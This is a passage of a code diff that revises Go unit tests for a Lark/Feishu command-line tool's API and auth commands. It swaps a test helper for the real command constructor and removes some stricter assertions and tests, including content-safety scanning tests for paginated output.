var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
if got["ok"] != true || got["identity"] != "bot" {
t.Fatalf("unexpected envelope: %#v", got)
}
if _, hasCode := got["code"]; hasCode {
t.Fatalf("success envelope leaked outer code: %s", stdout.String())
}
data, ok := got["data"].(map[string]interface{})
if !ok || data["result"] != "success" {
t.Fatalf("data = %#v, want result=success", got["data"])
if !strings.Contains(stdout.String(), "success") {
t.Error("expected 'success' in output")
}
}
@@ -174,7 +93,7 @@ func TestApiCmd_MissingArgs(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET"}) // missing path
err := cmd.Execute()
if err == nil {
@@ -182,28 +101,12 @@ func TestApiCmd_MissingArgs(t *testing.T) {
}
}
func TestApiCmd_EmptyMethodRejected(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"", "/open-apis/test", "--as", "bot", "--dry-run"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected validation error for empty HTTP method")
}
if !strings.Contains(err.Error(), "method") {
t.Fatalf("error should name the method argument, got: %v", err)
}
}
func TestApiCmd_InvalidParamsJSON(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--params", "{bad"})
err := cmd.Execute()
if err == nil {
@@ -216,7 +119,7 @@ func TestApiValidArgsFunction(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
fn := cmd.ValidArgsFunction
tests := []struct {
@@ -282,7 +185,7 @@ func TestNewCmdApi_StrictModeHidesAsFlag(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu, SupportedIdentities: 2,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
flag := cmd.Flags().Lookup("as")
if flag == nil {
t.Fatal("expected --as flag to be registered")
@@ -301,7 +204,7 @@ func TestApiCmd_PageLimitDefault(t *testing.T) {
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
@@ -320,7 +223,7 @@ func TestApiCmd_ParamsAndDataBothStdinConflict(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--params", "-", "--data", "-"})
err := cmd.Execute()
if err == nil {
@@ -337,7 +240,7 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return apiRun(opts)
})
@@ -352,9 +255,6 @@ func TestApiCmd_OutputAndPageAllConflict(t *testing.T) {
}
func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
dir := t.TempDir()
cmdutil.TestChdir(t, dir)
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-bin", AppSecret: "test-secret-bin", Brand: core.BrandFeishu,
})
@@ -365,7 +265,7 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
ContentType: "application/octet-stream",
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/drive/v1/files/xxx/download", "--as", "bot"})
err := cmd.Execute()
if err != nil {
@@ -374,33 +274,8 @@ func TestApiCmd_BinaryResponse_AutoSave(t *testing.T) {
if !strings.Contains(stderr.String(), "binary response detected") {
t.Error("expected binary response hint in stderr")
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("stdout is not JSON: %v\nstdout:\n%s", err, stdout.String())
}
savedPath, _ := got["saved_path"].(string)
if savedPath == "" {
t.Fatalf("saved_path missing from output: %#v", got)
}
// The file must land inside the temporary cwd — this pins the isolation
// contract: rolling back TestChdir would leave download.bin in the repo.
wantDir, err := filepath.EvalSymlinks(dir)
if err != nil {
t.Fatal(err)
}
gotDir, err := filepath.EvalSymlinks(filepath.Dir(savedPath))
if err != nil {
t.Fatalf("saved_path %q dir not resolvable: %v", savedPath, err)
}
if gotDir != wantDir {
t.Errorf("saved_path %q is outside temp cwd %q", savedPath, wantDir)
}
content, err := os.ReadFile(savedPath)
if err != nil {
t.Fatalf("read saved file: %v", err)
}
if string(content) != "fake-binary-content" {
t.Errorf("saved file content = %q, want %q", content, "fake-binary-content")
if !strings.Contains(stdout.String(), "saved_path") {
t.Error("expected saved_path in output")
}
}
@@ -421,7 +296,7 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users/u123", "--as", "bot", "--page-all", "--format", "ndjson"})
err := cmd.Execute()
if err != nil {
@@ -435,16 +310,8 @@ func TestApiCmd_PageAll_NonBatchAPI_FallbackToJSON(t *testing.T) {
t.Error("expected 'falling back to json' in stderr")
}
// Should output JSON result to stdout
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
data, ok := got["data"].(map[string]interface{})
if got["ok"] != true || got["identity"] != "bot" || !ok || data["user_id"] != "u123" {
t.Fatalf("unexpected fallback envelope: %#v", got)
}
if _, hasCode := got["code"]; hasCode {
t.Fatalf("fallback success envelope leaked outer code: %s", stdout.String())
if !strings.Contains(stdout.String(), "u123") {
t.Error("expected user_id in JSON output")
}
}
@@ -457,11 +324,11 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
reg.Register(&httpmock.Stub{
URL: "/open-apis/im/v1/chats/oc_xxx/announcement",
Body: map[string]interface{}{
"code": 230027, "msg": "user not authorized",
"code": 230001, "msg": "no permission",
},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/im/v1/chats/oc_xxx/announcement", "--as", "bot", "--page-all"})
err := cmd.Execute()
// Should return an error
@@ -469,20 +336,12 @@ func TestApiCmd_PageAll_NonBatchAPI_ErrorStillOutputsJSON(t *testing.T) {
t.Fatal("expected an error for non-zero code")
}
// Should still output the response body so user can see the error details
if !strings.Contains(stdout.String(), "230027") {
if !strings.Contains(stdout.String(), "230001") {
t.Errorf("expected error response in stdout, got: %s", stdout.String())
}
if !strings.Contains(stdout.String(), "user not authorized") {
if !strings.Contains(stdout.String(), "no permission") {
t.Errorf("expected error message in stdout, got: %s", stdout.String())
}
if strings.Contains(stdout.String(), `"ok": true`) || strings.Contains(stdout.String(), `"ok":true`) {
t.Fatalf("unexpected success envelope on error path: %s", stdout.String())
}
requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
var permErr *errs.PermissionError
if !errors.As(err, &permErr) {
t.Fatalf("expected PermissionError, got %T: %v", err, err)
}
}
func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
@@ -502,7 +361,7 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
err := cmd.Execute()
if err != nil {
@@ -518,274 +377,6 @@ func TestApiCmd_PageAll_BatchAPI_StreamsItems(t *testing.T) {
}
}
func TestApiCmd_PageAll_StreamBusinessErrorDoesNotDumpJSON(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-err", AppSecret: "test-secret-pageall-stream-err", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "safe-page"}},
"has_more": true,
"page_token": "next",
},
},
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 230027, "msg": "user not authorized",
},
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
err := cmd.Execute()
if err == nil {
t.Fatal("expected error for non-zero code on later page")
}
requireProblem(t, err, errs.CategoryAuthorization, errs.SubtypeUserUnauthorized, 230027)
out := stdout.String()
if !strings.Contains(out, "safe-page") {
t.Fatalf("expected earlier successful page to remain streamed, got: %s", out)
}
if strings.Contains(out, "230027") || strings.Contains(out, "user not authorized") {
t.Fatalf("streaming stdout should not contain raw error JSON, got: %s", out)
}
if strings.Contains(out, "\n \"code\"") {
t.Fatalf("streaming stdout should not contain indented JSON error dump, got: %s", out)
}
}
func TestApiCmd_PageAll_BatchAPI_DefaultJSONEnvelope(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-json", AppSecret: "test-secret-pageall-json", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "1"}},
"has_more": false,
},
},
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
data, ok := got["data"].(map[string]interface{})
if got["ok"] != true || got["identity"] != "bot" || !ok {
t.Fatalf("unexpected envelope: %#v", got)
}
if _, hasCode := got["code"]; hasCode {
t.Fatalf("success envelope leaked outer code: %s", stdout.String())
}
items, ok := data["items"].([]interface{})
if !ok || len(items) != 1 {
t.Fatalf("data.items = %#v, want one item", data["items"])
}
}
type apiContentSafetyProvider struct {
called bool
path string
data interface{}
match string
}
func (p *apiContentSafetyProvider) Name() string { return "api-test" }
func (p *apiContentSafetyProvider) Scan(_ context.Context, req extcs.ScanRequest) (*extcs.Alert, error) {
p.called = true
p.path = req.Path
p.data = req.Data
if p.match != "" {
b, _ := json.Marshal(req.Data)
if !strings.Contains(string(b), p.match) {
return nil, nil
}
}
return &extcs.Alert{Provider: "api-test", MatchedRules: []string{"pagination"}}, nil
}
func TestApiCmd_PageAll_DefaultJSONRunsContentSafety(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
provider := &apiContentSafetyProvider{}
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-safety", AppSecret: "test-secret-pageall-safety", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "1"}},
"has_more": false,
},
},
})
root := newTestRootCmd()
root.AddCommand(newTestApiCmd(f, nil))
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all"})
if err := root.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if !provider.called {
t.Fatal("expected content safety provider to scan paginated output")
}
if provider.path != "api" {
t.Fatalf("scan path = %q, want api", provider.path)
}
data, ok := provider.data.(map[string]interface{})
if !ok {
t.Fatalf("scanned data type = %T, want map", provider.data)
}
if _, hasCode := data["code"]; hasCode {
t.Fatalf("scanned data should be business data only, got %#v", data)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("invalid JSON output: %v\n%s", err, stdout.String())
}
alert, ok := got["_content_safety_alert"].(map[string]interface{})
if !ok || alert["provider"] != "api-test" {
t.Fatalf("missing content safety alert in envelope: %#v", got)
}
}
func TestApiCmd_PageAll_StreamFormatRunsContentSafety(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
provider := &apiContentSafetyProvider{}
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-safety", AppSecret: "test-secret-pageall-stream-safety", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "1"}},
"has_more": false,
},
},
})
root := newTestRootCmd()
root.AddCommand(newTestApiCmd(f, nil))
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
if err := root.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if !provider.called {
t.Fatal("expected content safety provider to scan streamed paginated output")
}
if provider.path != "api" {
t.Fatalf("scan path = %q, want api", provider.path)
}
items, ok := provider.data.([]interface{})
if !ok || len(items) != 1 {
t.Fatalf("scanned data = %#v, want one streamed item", provider.data)
}
if !strings.Contains(stderr.String(), "warning: content safety alert from api-test") {
t.Fatalf("expected content safety warning on stderr, got: %s", stderr.String())
}
if !strings.Contains(stdout.String(), `"id":"1"`) {
t.Fatalf("expected streamed ndjson output, got: %s", stdout.String())
}
}
func TestApiCmd_PageAll_StreamFormatBlockSkipsBlockedPage(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
provider := &apiContentSafetyProvider{match: "blocked"}
extcs.Register(provider)
t.Cleanup(func() { extcs.Register(nil) })
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app-pageall-stream-block", AppSecret: "test-secret-pageall-stream-block", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "safe-page"}},
"has_more": true,
"page_token": "next",
},
},
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/contact/v3/users",
Body: map[string]interface{}{
"code": 0, "msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": "blocked-page"}},
"has_more": false,
},
},
})
root := newTestRootCmd()
root.AddCommand(newTestApiCmd(f, nil))
root.SetArgs([]string{"api", "GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--format", "ndjson"})
err := root.Execute()
if err == nil {
t.Fatal("expected content safety block error")
}
var safetyErr *errs.ContentSafetyError
if !errors.As(err, &safetyErr) {
t.Fatalf("expected ContentSafetyError, got %T: %v", err, err)
}
if safetyErr.Category != errs.CategoryPolicy || safetyErr.Subtype != errs.SubtypeContentSafety {
t.Fatalf("problem = %s/%s, want %s/%s", safetyErr.Category, safetyErr.Subtype, errs.CategoryPolicy, errs.SubtypeContentSafety)
}
if len(safetyErr.Rules) != 1 || safetyErr.Rules[0] != "pagination" {
t.Fatalf("rules = %v, want [pagination]", safetyErr.Rules)
}
out := stdout.String()
if !strings.Contains(out, "safe-page") {
t.Fatalf("expected earlier safe page to remain streamed, got: %s", out)
}
if strings.Contains(out, "blocked-page") {
t.Fatalf("blocked page was written before safety block: %s", out)
}
}
func requireProblem(t *testing.T, err error, category errs.Category, subtype errs.Subtype, code int) {
t.Helper()
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("expected typed error, got %T: %v", err, err)
}
if p.Category != category || p.Subtype != subtype || p.Code != code {
t.Fatalf("problem = %s/%s/%d, want %s/%s/%d", p.Category, p.Subtype, p.Code, category, subtype, code)
}
}
func TestNormalisePath_StripsQueryAndFragment(t *testing.T) {
for _, tt := range []struct {
name string
@@ -814,7 +405,7 @@ func TestApiCmd_JqFlag_Parsing(t *testing.T) {
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
@@ -834,7 +425,7 @@ func TestApiCmd_JqFlag_ShortForm(t *testing.T) {
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
@@ -853,7 +444,7 @@ func TestApiCmd_JqAndOutputConflict(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
return apiRun(opts)
})
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--output", "file.bin"})
@@ -884,7 +475,7 @@ func TestApiCmd_JqFilter_AppliesExpression(t *testing.T) {
},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test/jq", "--as", "bot", "--jq", ".data.items[].name"})
err := cmd.Execute()
if err != nil {
@@ -905,7 +496,7 @@ func TestApiCmd_JqAndFormatConflict(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
return apiRun(opts)
})
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", ".data", "--format", "ndjson"})
@@ -923,7 +514,7 @@ func TestApiCmd_JqInvalidExpression(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
return apiRun(opts)
})
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--jq", "invalid["})
@@ -952,7 +543,7 @@ func TestApiCmd_PageAll_WithJq(t *testing.T) {
},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/contact/v3/users", "--as", "bot", "--page-all", "--jq", ".data.items[].id"})
err := cmd.Execute()
if err != nil {
@@ -973,7 +564,7 @@ func TestApiCmd_MethodUppercase(t *testing.T) {
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
@@ -992,7 +583,7 @@ func TestApiCmd_FileFlagParsing(t *testing.T) {
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
@@ -1010,7 +601,7 @@ func TestApiCmd_FileAndOutputConflict(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
return apiRun(opts)
})
cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "photo.jpg", "--output", "out.json"})
@@ -1027,7 +618,7 @@ func TestApiCmd_FileWithGET(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
return apiRun(opts)
})
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--file", "photo.jpg"})
@@ -1044,7 +635,7 @@ func TestApiCmd_FileStdinConflictWithData(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
return apiRun(opts)
})
cmd.SetArgs([]string{"POST", "/open-apis/test", "--as", "bot", "--file", "-", "--data", "-"})
@@ -1067,30 +658,18 @@ func TestApiCmd_DryRunWithFile(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/im/v1/images", "--file", "image=" + tmpFile, "--data", `{"image_type":"message"}`, "--dry-run", "--as", "bot"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
out := stdout.String()
var env map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
if !strings.Contains(out, "image") {
t.Errorf("expected dry-run output to mention file field, got: %s", out)
}
if env["dry_run"] != true {
t.Fatalf("dry_run = %#v, want true", env["dry_run"])
}
data := env["data"].(map[string]interface{})
api := data["api"].([]interface{})
call := api[0].(map[string]interface{})
body := call["body"].(map[string]interface{})
file := body["file"].(map[string]interface{})
if file["field"] != "image" || file["path"] != tmpFile {
t.Fatalf("unexpected file dry-run body: %#v", body)
}
if strings.Contains(out, "=== Dry Run ===") {
t.Fatalf("stdout should not contain dry-run banner: %s", out)
if !strings.Contains(out, "Dry Run") {
t.Errorf("expected dry-run header, got: %s", out)
}
}
@@ -1120,7 +699,7 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/docx/v1/documents/test", "--as", "bot"})
err := cmd.Execute()
if err == nil {
@@ -1139,177 +718,3 @@ func TestApiCmd_PermissionError_DerivesFirstClassFields(t *testing.T) {
t.Errorf("LogID = %q, want %q", pe.LogID, "20260527-test-log")
}
}
func TestApiCmd_JsonFlag_Accepted(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"GET", "/open-apis/test", "--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("--json should be accepted without error, got: %v", err)
}
if gotOpts.Method != "GET" {
t.Errorf("expected method GET, got %s", gotOpts.Method)
}
}
// parseMultipartFilenames drives one api --file upload through the mock
// transport and returns a map of field name -> part filename parsed from the
// captured multipart body, plus the map of text form fields. It fails the test
// if the captured request is not multipart/form-data.
func parseMultipartFilenames(t *testing.T, stub *httpmock.Stub) (map[string]string, map[string]string) {
t.Helper()
ct := stub.CapturedHeaders.Get("Content-Type")
mediaType, params, err := mime.ParseMediaType(ct)
if err != nil {
t.Fatalf("parse Content-Type %q: %v", ct, err)
}
if !strings.HasPrefix(mediaType, "multipart/") {
t.Fatalf("Content-Type = %q, want multipart/*", mediaType)
}
filenames := map[string]string{}
fields := map[string]string{}
mr := multipart.NewReader(bytes.NewReader(stub.CapturedBody), params["boundary"])
for {
part, err := mr.NextPart()
if err != nil {
break
}
if fn := part.FileName(); fn != "" {
filenames[part.FormName()] = fn
} else {
buf := &bytes.Buffer{}
_, _ = buf.ReadFrom(part)
fields[part.FormName()] = buf.String()
}
}
return filenames, fields
}
func TestApiCmd_FileUpload_PreservesFilename(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
dir := t.TempDir()
cmdutil.TestChdir(t, dir)
if err := os.WriteFile(filepath.Join(dir, "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
t.Fatalf("write test file: %v", err)
}
stub := &httpmock.Stub{
URL: "/open-apis/approval/v4/files/upload",
Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
}
reg.Register(stub)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "invoice.pdf"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
filenames, _ := parseMultipartFilenames(t, stub)
if got := filenames["file"]; got != "invoice.pdf" {
t.Fatalf("part filename for field %q = %q, want %q", "file", got, "invoice.pdf")
}
}
func TestApiCmd_FileUpload_FieldPrefixKeepsBasename(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
dir := t.TempDir()
cmdutil.TestChdir(t, dir)
if err := os.MkdirAll(filepath.Join(dir, "sub"), 0700); err != nil {
t.Fatalf("mkdir: %v", err)
}
if err := os.WriteFile(filepath.Join(dir, "sub", "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
t.Fatalf("write test file: %v", err)
}
stub := &httpmock.Stub{
URL: "/open-apis/approval/v4/files/upload",
Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
}
reg.Register(stub)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "upload=sub/invoice.pdf"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
filenames, _ := parseMultipartFilenames(t, stub)
if _, ok := filenames["upload"]; !ok {
t.Fatalf("expected field name %q from field=path form, got fields %v", "upload", filenames)
}
if got := filenames["upload"]; got != "invoice.pdf" {
t.Fatalf("part filename for field %q = %q, want %q (basename only)", "upload", got, "invoice.pdf")
}
}
func TestApiCmd_FileUpload_WithDataFields(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
dir := t.TempDir()
cmdutil.TestChdir(t, dir)
if err := os.WriteFile(filepath.Join(dir, "invoice.pdf"), []byte("%PDF-1.4 fake"), 0600); err != nil {
t.Fatalf("write test file: %v", err)
}
stub := &httpmock.Stub{
URL: "/open-apis/approval/v4/files/upload",
Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
}
reg.Register(stub)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot",
"--file", "invoice.pdf", "--data", `{"type":"attachment"}`})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
filenames, fields := parseMultipartFilenames(t, stub)
if got := filenames["file"]; got != "invoice.pdf" {
t.Fatalf("part filename = %q, want %q", got, "invoice.pdf")
}
if got := fields["type"]; got != "attachment" {
t.Fatalf("text field type = %q, want %q", got, "attachment")
}
}
func TestApiCmd_FileUpload_StdinFallsBackToUnknown(t *testing.T) {
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
f.IOStreams.In = bytes.NewReader([]byte("stdin-bytes"))
stub := &httpmock.Stub{
URL: "/open-apis/approval/v4/files/upload",
Body: map[string]interface{}{"code": 0, "msg": "success", "data": map[string]interface{}{"code": "file_xxx"}},
}
reg.Register(stub)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"POST", "/open-apis/approval/v4/files/upload", "--as", "bot", "--file", "-"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
filenames, _ := parseMultipartFilenames(t, stub)
if got := filenames["file"]; got != "unknown-file" {
t.Fatalf("stdin part filename = %q, want %q (no stable local name, fallback)", got, "unknown-file")
}
}

View File

@@ -91,29 +91,6 @@ func TestAuthCheckCmd_FlagParsing(t *testing.T) {
}
}
func TestAuthCheckCmd_AcceptsJSONFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *CheckOptions
cmd := NewCmdAuthCheck(f, func(opts *CheckOptions) error {
gotOpts = opts
return nil
})
cmd.SetArgs([]string{"--scope", "calendar:calendar:read", "--json"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if gotOpts == nil {
t.Fatal("expected opts to be set")
}
if !gotOpts.JSON {
t.Error("expected JSON=true")
}
}
func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, nil)
@@ -132,27 +109,6 @@ func TestAuthLogoutCmd_FlagParsing(t *testing.T) {
}
}
